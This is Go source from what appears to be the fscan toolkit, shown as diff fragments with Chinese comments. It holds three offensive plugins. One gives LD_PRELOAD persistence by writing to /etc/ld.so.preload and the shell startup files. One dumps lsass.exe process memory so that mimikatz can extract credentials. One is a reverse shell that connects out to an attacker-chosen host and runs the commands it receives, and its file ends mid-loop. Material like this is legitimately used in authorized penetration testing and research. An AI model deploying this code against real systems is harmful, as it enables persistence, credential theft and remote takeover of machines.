for _, dir := range systemDirs {
if _, err := os.Stat(dir); err == nil {
targetDir = dir
break
}
}
if targetDir == "" {
return "", fmt.Errorf("找不到合适的系统库目录")
}
// 生成目标路径
basename := filepath.Base(p.targetFile)
if !strings.HasPrefix(basename, "lib") {
basename = "lib" + basename
}
if !strings.HasSuffix(basename, ".so") {
basename = strings.TrimSuffix(basename, filepath.Ext(basename)) + ".so"
}
targetPath := filepath.Join(targetDir, basename)
// 复制文件
err := p.copyFile(p.targetFile, targetPath)
if err != nil {
return "", err
}
// 设置权限
os.Chmod(targetPath, 0755)
return targetPath, nil
}
// copyFile 复制文件
func (p *LDPreloadPlugin) copyFile(src, dst string) error {
cmd := exec.Command("cp", src, dst)
return cmd.Run()
}
// addToEnvironment 添加到全局环境变量
func (p *LDPreloadPlugin) addToEnvironment(libPath string) error {
envFile := "/etc/environment"
// 读取现有内容
content := ""
if data, err := os.ReadFile(envFile); err == nil {
content = string(data)
}
// 检查是否已存在
ldPreloadLine := fmt.Sprintf("LD_PRELOAD=\"%s\"", libPath)
if strings.Contains(content, libPath) {
return nil // 已存在
}
// 添加新行
if !strings.HasSuffix(content, "\n") && content != "" {
content += "\n"
}
content += ldPreloadLine + "\n"
// 写入文件
return os.WriteFile(envFile, []byte(content), 0644)
}
// addToShellConfigs 添加到shell配置文件
func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) {
configFiles := []string{
"/etc/bash.bashrc",
"/etc/profile",
"/etc/zsh/zshrc",
}
ldPreloadLine := fmt.Sprintf("export LD_PRELOAD=\"%s:$LD_PRELOAD\"", libPath)
var modified []string
for _, configFile := range configFiles {
if _, err := os.Stat(configFile); os.IsNotExist(err) {
continue
}
// 读取现有内容
content := ""
if data, err := os.ReadFile(configFile); err == nil {
content = string(data)
}
// 检查是否已存在
if strings.Contains(content, libPath) {
continue
}
// 添加新行
if !strings.HasSuffix(content, "\n") && content != "" {
content += "\n"
}
content += ldPreloadLine + "\n"
// 写入文件
if err := os.WriteFile(configFile, []byte(content), 0644); err == nil {
modified = append(modified, configFile)
}
}
if len(modified) == 0 {
return nil, fmt.Errorf("无法修改任何shell配置文件")
}
return modified, nil
}
// createLdConfig 创建ld预加载配置
func (p *LDPreloadPlugin) createLdConfig(libPath string) error {
configFile := "/etc/ld.so.preload"
// 读取现有内容
content := ""
if data, err := os.ReadFile(configFile); err == nil {
content = string(data)
}
// 检查是否已存在
if strings.Contains(content, libPath) {
return nil
}
// 添加新行
if !strings.HasSuffix(content, "\n") && content != "" {
content += "\n"
}
content += libPath + "\n"
// 写入文件
return os.WriteFile(configFile, []byte(content), 0644)
}
// isValidFile 检查文件类型
func (p *LDPreloadPlugin) isValidFile(filePath string) bool {
ext := strings.ToLower(filepath.Ext(filePath))
// 检查扩展名
if ext == ".so" || ext == ".elf" {
return true
}
// 检查文件内容ELF魔数
file, err := os.Open(filePath)
if err != nil {
return false
}
defer file.Close()
header := make([]byte, 4)
if n, err := file.Read(header); err != nil || n < 4 {
return false
}
// ELF魔数: 0x7f 0x45 0x4c 0x46
return header[0] == 0x7f && header[1] == 0x45 && header[2] == 0x4c && header[3] == 0x46
}
// GetLocalData 获取LD_PRELOAD持久化本地数据
func (p *LDPreloadPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "ldpreload"
data["platform"] = runtime.GOOS
data["target_file"] = p.targetFile
data["persistence_method"] = "LD_PRELOAD"
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
return data, nil
}
// ExtractData 提取数据
func (p *LDPreloadPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("LD_PRELOAD持久化完成目标文件: %s", p.targetFile),
Data: data,
Extra: map[string]interface{}{
"target_file": p.targetFile,
"persistence_method": "LD_PRELOAD",
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *LDPreloadPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("LD_PRELOAD持久化插件\n")
info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
info.WriteString("支持平台: Linux\n")
info.WriteString("功能: 通过LD_PRELOAD机制实现动态库预加载持久化\n")
info.WriteString("方法: 环境变量、shell配置、ld.so.preload配置\n")
info.WriteString("要求: 目标文件必须是.so动态库或ELF文件\n")
return info.String()
}
// RegisterLDPreloadPlugin 注册LD_PRELOAD持久化插件
func RegisterLDPreloadPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "ldpreload",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux LD_PRELOAD持久化插件通过动态库预加载实现持久化",
Category: "local",
Tags: []string{"ldpreload", "local", "persistence", "linux"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewLDPreloadPlugin()
},
)
base.GlobalPluginRegistry.Register("ldpreload", factory)
}
// init 插件注册函数
func init() {
RegisterLDPreloadPlugin()
}

View File

@ -0,0 +1,619 @@
//go:build windows
package minidump
import (
"context"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
"golang.org/x/sys/windows"
"os"
"path/filepath"
"strings"
"syscall"
"time"
"unsafe"
)
const (
TH32CS_SNAPPROCESS = 0x00000002
INVALID_HANDLE_VALUE = ^uintptr(0)
MAX_PATH = 260
PROCESS_ALL_ACCESS = 0x1F0FFF
SE_PRIVILEGE_ENABLED = 0x00000002
)
type PROCESSENTRY32 struct {
dwSize uint32
cntUsage uint32
th32ProcessID uint32
th32DefaultHeapID uintptr
th32ModuleID uint32
cntThreads uint32
th32ParentProcessID uint32
pcPriClassBase int32
dwFlags uint32
szExeFile [MAX_PATH]uint16
}
type LUID struct {
LowPart uint32
HighPart int32
}
type LUID_AND_ATTRIBUTES struct {
Luid LUID
Attributes uint32
}
type TOKEN_PRIVILEGES struct {
PrivilegeCount uint32
Privileges [1]LUID_AND_ATTRIBUTES
}
// MiniDumpPlugin 内存转储插件 - 使用简化架构
type MiniDumpPlugin struct {
*local.BaseLocalPlugin
kernel32 *syscall.DLL
dbghelp *syscall.DLL
advapi32 *syscall.DLL
}
// ProcessManager Windows进程管理器
type ProcessManager struct {
kernel32 *syscall.DLL
dbghelp *syscall.DLL
advapi32 *syscall.DLL
}
// NewMiniDumpPlugin 创建内存转储插件 - 简化版本
func NewMiniDumpPlugin() *MiniDumpPlugin {
metadata := &base.PluginMetadata{
Name: "minidump",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows进程内存转储插件",
Category: "local",
Tags: []string{"local", "memory", "dump", "lsass", "windows"},
Protocols: []string{"local"},
}
plugin := &MiniDumpPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
}
// 仅支持Windows平台
plugin.SetPlatformSupport([]string{"windows"})
// 需要管理员权限
plugin.SetRequiresPrivileges(true)
return plugin
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// Initialize 初始化插件
func (p *MiniDumpPlugin) Initialize() error {
// 先调用基类初始化
if err := p.BaseLocalPlugin.Initialize(); err != nil {
return err
}
// 加载系统DLL
return p.loadSystemDLLs()
}
// loadSystemDLLs 加载系统DLL
func (p *MiniDumpPlugin) loadSystemDLLs() error {
common.LogDebug("开始加载系统DLL...")
// 加载系统DLL - 添加错误处理
kernel32, err := syscall.LoadDLL("kernel32.dll")
if err != nil {
common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err))
return fmt.Errorf("加载 kernel32.dll 失败: %v", err)
}
common.LogDebug("kernel32.dll 加载成功")
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
if err != nil {
common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err))
return fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
}
common.LogDebug("Dbghelp.dll 加载成功")
advapi32, err := syscall.LoadDLL("advapi32.dll")
if err != nil {
common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err))
return fmt.Errorf("加载 advapi32.dll 失败: %v", err)
}
common.LogDebug("advapi32.dll 加载成功")
p.kernel32 = kernel32
p.dbghelp = dbghelp
p.advapi32 = advapi32
common.LogSuccess("所有DLL加载完成")
return nil
}
// ScanLocal 执行内存转储扫描 - 简化版本
func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
defer func() {
if r := recover(); r != nil {
common.LogError(fmt.Sprintf("minidump插件发生panic: %v", r))
}
}()
common.LogInfo("开始进程内存转储...")
// 检查管理员权限
if !p.isAdmin() {
common.LogError("需要管理员权限才能执行内存转储")
return &base.ScanResult{
Success: false,
Error: errors.New("需要管理员权限才能执行内存转储"),
}, nil
}
common.LogSuccess("已确认具有管理员权限")
// 创建进程管理器
common.LogDebug("正在创建进程管理器...")
pm := &ProcessManager{
kernel32: p.kernel32,
dbghelp: p.dbghelp,
advapi32: p.advapi32,
}
common.LogSuccess("进程管理器创建成功")
// 查找lsass.exe进程
common.LogDebug("正在查找lsass.exe进程...")
pid, err := pm.findProcess("lsass.exe")
if err != nil {
common.LogError(fmt.Sprintf("查找lsass.exe失败: %v", err))
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("查找lsass.exe失败: %v", err),
}, nil
}
common.LogSuccess(fmt.Sprintf("找到lsass.exe进程, PID: %d", pid))
// 提升权限
common.LogDebug("正在提升SeDebugPrivilege权限...")
if err := pm.elevatePrivileges(); err != nil {
common.LogError(fmt.Sprintf("提升权限失败: %v", err))
// 权限提升失败不是致命错误,继续尝试
common.LogBase("权限提升失败,尝试继续执行...")
} else {
common.LogSuccess("权限提升成功")
}
// 创建转储文件
outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
common.LogDebug(fmt.Sprintf("准备创建转储文件: %s", outputPath))
// 执行转储
common.LogDebug("开始执行内存转储...")
// 使用带超时的Windows API进行内存转储
common.LogDebug("开始使用Windows API进行内存转储...")
// 创建一个带超时的context完整转储需要更长时间
dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second)
defer cancel()
err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath)
if err != nil {
common.LogError(fmt.Sprintf("内存转储失败: %v", err))
// 创建错误信息文件
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n",
pid, err, time.Now().Format("2006-01-02 15:04:05")))
os.WriteFile(outputPath, errorData, 0644)
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("内存转储失败: %v", err),
}, nil
}
// 获取文件信息
fileInfo, err := os.Stat(outputPath)
var fileSize int64
if err == nil {
fileSize = fileInfo.Size()
}
// 获取系统信息
systemInfo := p.GetSystemInfo()
result := &base.ScanResult{
Success: true,
Service: "MiniDump",
Banner: fmt.Sprintf("检测完成: lsass.exe 内存转储完成 (PID: %d)", pid),
Extra: map[string]interface{}{
"process_name": "lsass.exe",
"process_id": pid,
"dump_file": outputPath,
"file_size": fileSize,
"system_info": systemInfo,
},
}
common.LogSuccess(fmt.Sprintf("成功将lsass.exe内存转储到文件: %s (大小: %d bytes)", outputPath, fileSize))
return result, nil
}
// GetLocalData 获取内存转储本地数据
func (p *MiniDumpPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "minidump"
data["target_process"] = "lsass.exe"
data["requires_admin"] = true
return data, nil
}
// ExtractData 提取内存数据
func (p *MiniDumpPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: "内存转储完成可使用mimikatz等工具分析",
Data: data,
}, nil
}
// isAdmin 检查是否具有管理员权限
func (p *MiniDumpPlugin) isAdmin() bool {
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid)
if err != nil {
return false
}
defer windows.FreeSid(sid)
token := windows.Token(0)
member, err := token.IsMember(sid)
return err == nil && member
}
// ProcessManager 方法实现
// findProcess 查找进程
func (pm *ProcessManager) findProcess(name string) (uint32, error) {
snapshot, err := pm.createProcessSnapshot()
if err != nil {
return 0, err
}
defer pm.closeHandle(snapshot)
return pm.findProcessInSnapshot(snapshot, name)
}
// createProcessSnapshot 创建进程快照
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
common.LogDebug("正在创建进程快照...")
proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot")
if err != nil {
return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %v", err)
}
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
if handle == uintptr(INVALID_HANDLE_VALUE) {
lastError := windows.GetLastError()
return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError)
}
common.LogDebug(fmt.Sprintf("进程快照创建成功,句柄: 0x%x", handle))
return handle, nil
}
// findProcessInSnapshot 在快照中查找进程
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
common.LogDebug(fmt.Sprintf("正在快照中查找进程: %s", name))
var pe32 PROCESSENTRY32
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
proc32First, err := pm.kernel32.FindProc("Process32FirstW")
if err != nil {
return 0, fmt.Errorf("查找Process32FirstW函数失败: %v", err)
}
proc32Next, err := pm.kernel32.FindProc("Process32NextW")
if err != nil {
return 0, fmt.Errorf("查找Process32NextW函数失败: %v", err)
}
lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW")
if err != nil {
return 0, fmt.Errorf("查找lstrcmpiW函数失败: %v", err)
}
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
lastError := windows.GetLastError()
return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", lastError)
}
processCount := 0
for {
processCount++
namePtr, err := syscall.UTF16PtrFromString(name)
if err != nil {
return 0, fmt.Errorf("转换进程名失败: %v", err)
}
ret, _, _ = lstrcmpi.Call(
uintptr(unsafe.Pointer(namePtr)),
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
)
if ret == 0 {
common.LogSuccess(fmt.Sprintf("找到目标进程 %sPID: %d (搜索了 %d 个进程)", name, pe32.th32ProcessID, processCount))
return pe32.th32ProcessID, nil
}
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
break
}
}
common.LogDebug(fmt.Sprintf("搜索了 %d 个进程,未找到目标进程: %s", processCount, name))
return 0, fmt.Errorf("未找到进程: %s", name)
}
// elevatePrivileges 提升权限
func (pm *ProcessManager) elevatePrivileges() error {
handle, err := pm.getCurrentProcess()
if err != nil {
return err
}
var token syscall.Token
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
if err != nil {
return fmt.Errorf("打开进程令牌失败: %v", err)
}
defer token.Close()
var tokenPrivileges TOKEN_PRIVILEGES
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
ret, _, err := lookupPrivilegeValue.Call(
0,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
)
if ret == 0 {
return fmt.Errorf("查找特权值失败: %v", err)
}
tokenPrivileges.PrivilegeCount = 1
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
ret, _, err = adjustTokenPrivileges.Call(
uintptr(token),
0,
uintptr(unsafe.Pointer(&tokenPrivileges)),
0, 0, 0,
)
if ret == 0 {
return fmt.Errorf("调整令牌特权失败: %v", err)
}
return nil
}
// getCurrentProcess 获取当前进程句柄
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
handle, _, _ := proc.Call()
if handle == 0 {
return 0, fmt.Errorf("获取当前进程句柄失败")
}
return syscall.Handle(handle), nil
}
// dumpProcessWithTimeout 带超时的转储进程内存
func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error {
// 创建一个channel来接收转储结果
resultChan := make(chan error, 1)
go func() {
resultChan <- pm.dumpProcess(pid, outputPath)
}()
select {
case err := <-resultChan:
return err
case <-ctx.Done():
return fmt.Errorf("内存转储超时 (120秒)")
}
}
// dumpProcess 转储进程内存
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
processHandle, err := pm.openProcess(pid)
if err != nil {
return err
}
defer pm.closeHandle(processHandle)
fileHandle, err := pm.createDumpFile(outputPath)
if err != nil {
return err
}
defer pm.closeHandle(fileHandle)
common.LogDebug("正在调用MiniDumpWriteDump API...")
miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump")
if err != nil {
return fmt.Errorf("查找MiniDumpWriteDump函数失败: %v", err)
}
// 使用MiniDumpWithDataSegs获取包含数据段的转储mimikatz兼容
const MiniDumpWithDataSegs = 0x00000001
const MiniDumpWithFullMemory = 0x00000002
const MiniDumpWithHandleData = 0x00000004
const MiniDumpScanMemory = 0x00000010
const MiniDumpWithUnloadedModules = 0x00000020
const MiniDumpWithIndirectlyReferencedMemory = 0x00000040
const MiniDumpFilterModulePaths = 0x00000080
const MiniDumpWithProcessThreadData = 0x00000100
const MiniDumpWithPrivateReadWriteMemory = 0x00000200
const MiniDumpWithoutOptionalData = 0x00000400
const MiniDumpWithFullMemoryInfo = 0x00000800
const MiniDumpWithThreadInfo = 0x00001000
const MiniDumpWithCodeSegs = 0x00002000
// 组合多个标志以获得mimikatz可识别的完整转储
dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData |
MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory |
MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory |
MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs
common.LogDebug(fmt.Sprintf("使用转储类型标志: 0x%X", dumpType))
ret, _, callErr := miniDumpWriteDump.Call(
processHandle,
uintptr(pid),
fileHandle,
uintptr(dumpType),
0, 0, 0,
)
common.LogDebug(fmt.Sprintf("MiniDumpWriteDump 返回值: %d", ret))
if ret == 0 {
// 获取更详细的错误信息
lastError := windows.GetLastError()
common.LogError(fmt.Sprintf("完整转储失败 (LastError: %d),尝试使用较小的转储类型...", lastError))
// 尝试使用较小的转储类型作为后备
fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData
common.LogDebug(fmt.Sprintf("使用后备转储类型标志: 0x%X", fallbackDumpType))
ret, _, callErr = miniDumpWriteDump.Call(
processHandle,
uintptr(pid),
fileHandle,
uintptr(fallbackDumpType),
0, 0, 0,
)
if ret == 0 {
lastError = windows.GetLastError()
return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", callErr, lastError)
}
common.LogBase("使用后备转储类型成功创建转储文件")
}
common.LogSuccess("内存转储写入完成")
return nil
}
// openProcess 打开进程
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid))
proc, err := pm.kernel32.FindProc("OpenProcess")
if err != nil {
return 0, fmt.Errorf("查找OpenProcess函数失败: %v", err)
}
handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
if handle == 0 {
lastError := windows.GetLastError()
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError)
}
common.LogSuccess(fmt.Sprintf("成功打开进程,句柄: 0x%x", handle))
return handle, nil
}
// createDumpFile 创建转储文件
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
pathPtr, err := syscall.UTF16PtrFromString(path)
if err != nil {
return 0, err
}
createFile, err := pm.kernel32.FindProc("CreateFileW")
if err != nil {
return 0, fmt.Errorf("查找CreateFileW函数失败: %v", err)
}
handle, _, callErr := createFile.Call(
uintptr(unsafe.Pointer(pathPtr)),
syscall.GENERIC_WRITE,
0, 0,
syscall.CREATE_ALWAYS,
syscall.FILE_ATTRIBUTE_NORMAL,
0,
)
if handle == INVALID_HANDLE_VALUE {
lastError := windows.GetLastError()
return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError)
}
common.LogDebug(fmt.Sprintf("转储文件创建成功,句柄: 0x%x", handle))
return handle, nil
}
// closeHandle 关闭句柄
func (pm *ProcessManager) closeHandle(handle uintptr) {
if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil {
proc.Call(handle)
}
}
// RegisterMiniDumpPlugin 注册内存转储插件
func RegisterMiniDumpPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "minidump",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows进程内存转储插件",
Category: "local",
Tags: []string{"local", "memory", "dump", "lsass", "windows"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewMiniDumpPlugin()
},
)
base.GlobalPluginRegistry.Register("minidump", factory)
}
// GetInfo 获取插件信息
func (p *MiniDumpPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("Windows进程内存转储插件\n")
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 转储lsass.exe进程内存用于mimikatz分析\n")
info.WriteString("要求: 需要管理员权限\n")
return info.String()
}
// 插件注册函数
func init() {
RegisterMiniDumpPlugin()
}

165
Plugins/local/plugin.go Normal file
View File

@ -0,0 +1,165 @@
package local
import (
"context"
"errors"
"fmt"
"os"
"os/user"
"runtime"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
)
// BaseLocalPlugin 本地插件基础实现 - 简化架构
type BaseLocalPlugin struct {
*base.BasePlugin
platforms []string
requiresPrivileges bool
}
// NewBaseLocalPlugin 创建基础本地插件
func NewBaseLocalPlugin(metadata *base.PluginMetadata) *BaseLocalPlugin {
basePlugin := base.NewBasePlugin(metadata)
return &BaseLocalPlugin{
BasePlugin: basePlugin,
platforms: []string{"windows", "linux", "darwin"}, // 默认支持所有平台
requiresPrivileges: false,
}
}
// Initialize 初始化插件
func (p *BaseLocalPlugin) Initialize() error {
// 检查平台支持
if !p.isPlatformSupported() {
return fmt.Errorf("当前平台 %s 不支持此插件", runtime.GOOS)
}
return p.BasePlugin.Initialize()
}
// Scan 执行扫描
func (p *BaseLocalPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
// 检查权限要求
if p.requiresPrivileges && !p.hasRequiredPrivileges() {
return &base.ScanResult{
Success: false,
Error: errors.New("需要管理员/root权限才能执行此扫描"),
}, nil
}
return p.ScanLocal(ctx, info)
}
// ScanLocal 默认本地扫描实现(子类应重写)
func (p *BaseLocalPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return &base.ScanResult{
Success: false,
Error: errors.New("ScanLocal方法需要在子类中实现"),
}, nil
}
// GetSystemInfo 获取系统信息 - 实用工具方法
func (p *BaseLocalPlugin) GetSystemInfo() map[string]string {
systemInfo := make(map[string]string)
systemInfo["os"] = runtime.GOOS
systemInfo["arch"] = runtime.GOARCH
if homeDir, err := os.UserHomeDir(); err == nil {
systemInfo["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
systemInfo["working_dir"] = workDir
}
systemInfo["temp_dir"] = os.TempDir()
// 获取用户名
if currentUser, err := user.Current(); err == nil {
systemInfo["username"] = currentUser.Username
}
// 获取主机名
if hostname, err := os.Hostname(); err == nil {
systemInfo["hostname"] = hostname
}
return systemInfo
}
// GetPlatformSupport 获取支持的平台
func (p *BaseLocalPlugin) GetPlatformSupport() []string {
return p.platforms
}
// SetPlatformSupport 设置支持的平台
func (p *BaseLocalPlugin) SetPlatformSupport(platforms []string) {
p.platforms = platforms
}
// RequiresPrivileges 是否需要特殊权限
func (p *BaseLocalPlugin) RequiresPrivileges() bool {
return p.requiresPrivileges
}
// SetRequiresPrivileges 设置是否需要特殊权限
func (p *BaseLocalPlugin) SetRequiresPrivileges(required bool) {
p.requiresPrivileges = required
}
// isPlatformSupported 检查当前平台是否支持
func (p *BaseLocalPlugin) isPlatformSupported() bool {
currentOS := runtime.GOOS
for _, platform := range p.platforms {
if platform == currentOS {
return true
}
}
return false
}
// hasRequiredPrivileges 检查是否具有所需权限
func (p *BaseLocalPlugin) hasRequiredPrivileges() bool {
if !p.requiresPrivileges {
return true
}
// 这里可以根据平台实现权限检查
// Windows: 检查是否为管理员
// Linux/macOS: 检查是否为root或有sudo权限
switch runtime.GOOS {
case "windows":
return isWindowsAdmin()
case "linux", "darwin":
return isUnixRoot()
default:
return false
}
}
// 平台特定的权限检查函数 - 实际实现
func isWindowsAdmin() bool {
// Windows管理员权限检查尝试写入系统目录
testPath := `C:\Windows\Temp\fscan_admin_test`
file, err := os.Create(testPath)
if err != nil {
// 无法创建文件,可能没有管理员权限
return false
}
file.Close()
os.Remove(testPath)
return true
}
func isUnixRoot() bool {
// Unix/Linux root用户检查
currentUser, err := user.Current()
if err != nil {
return false
}
return currentUser.Uid == "0"
}

View File

@ -0,0 +1,276 @@
package reverseshell
import (
"bufio"
"context"
"fmt"
"io"
"net"
"os"
"os/exec"
"runtime"
"strconv"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// ReverseShellPlugin 反弹Shell插件 - 使用简化架构
type ReverseShellPlugin struct {
*local.BaseLocalPlugin
target string // 目标地址:端口
host string
port int
}
// NewReverseShellPlugin 创建反弹Shell插件 - 简化版本
func NewReverseShellPlugin() *ReverseShellPlugin {
// 从全局参数获取反弹Shell目标
target := common.ReverseShellTarget
if target == "" {
// 如果没有指定目标,使用默认值
target = "127.0.0.1:4444"
}
metadata := &base.PluginMetadata{
Name: "reverseshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "纯Go原生反弹Shell本地插件支持Windows/Linux/macOS",
Category: "local",
Tags: []string{"local", "shell", "reverse", "crossplatform", "native"},
Protocols: []string{"local"},
}
// 解析目标地址
host, portStr, err := net.SplitHostPort(target)
if err != nil {
host = target
portStr = "4444" // 默认端口
}
port, err := strconv.Atoi(portStr)
if err != nil {
port = 4444 // 默认端口
}
plugin := &ReverseShellPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
target: target,
host: host,
port: port,
}
// 设置支持的平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// Initialize 初始化插件
func (p *ReverseShellPlugin) Initialize() error {
// 调用基类初始化
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行反弹Shell扫描 - 简化版本
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动Go原生反弹Shell...")
// 启动反弹shell
common.LogBase(fmt.Sprintf("连接到目标 %s", p.target))
// 直接在当前goroutine中运行这样可以确保在设置ReverseShellActive后立即被主程序检测到
err := p.startNativeReverseShell(ctx, p.host, p.port)
if err != nil {
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "ReverseShell",
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", p.target, runtime.GOOS),
Extra: map[string]interface{}{
"target": p.target,
"platform": runtime.GOOS,
"implementation": "go_native",
"status": "completed",
},
}
return result, nil
}
// startNativeReverseShell 启动Go原生反弹Shell - 核心实现
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int) error {
// 连接到目标
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port))
if err != nil {
return fmt.Errorf("连接失败: %v", err)
}
defer conn.Close()
common.LogSuccess(fmt.Sprintf("反弹Shell已连接到 %s:%d", host, port))
// 设置反弹Shell为活跃状态告诉主程序保持运行
common.ReverseShellActive = true
defer func() {
// 确保退出时清除活跃状态
common.ReverseShellActive = false
}()
// 发送欢迎消息
welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH)
conn.Write([]byte(welcomeMsg))
conn.Write([]byte("Type 'exit' to quit\n"))
// 创建读取器
reader := bufio.NewReader(conn)
for {
// 检查上下文取消
select {
case <-ctx.Done():
conn.Write([]byte("Shell session terminated by context\n"))
return ctx.Err()
default:
}
// 发送提示符
prompt := fmt.Sprintf("%s> ", getCurrentDir())
conn.Write([]byte(prompt))
// 读取命令
cmdLine, err := reader.ReadString('\n')
if err != nil {
if err == io.EOF {
common.LogBase("反弹Shell连接关闭")
return nil
}
return fmt.Errorf("读取命令错误: %v", err)
}
// 清理命令
cmdLine = strings.TrimSpace(cmdLine)
if cmdLine == "" {
continue
}
// 检查退出命令
if cmdLine == "exit" {
conn.Write([]byte("Goodbye!\n"))
return nil
}
// 执行命令
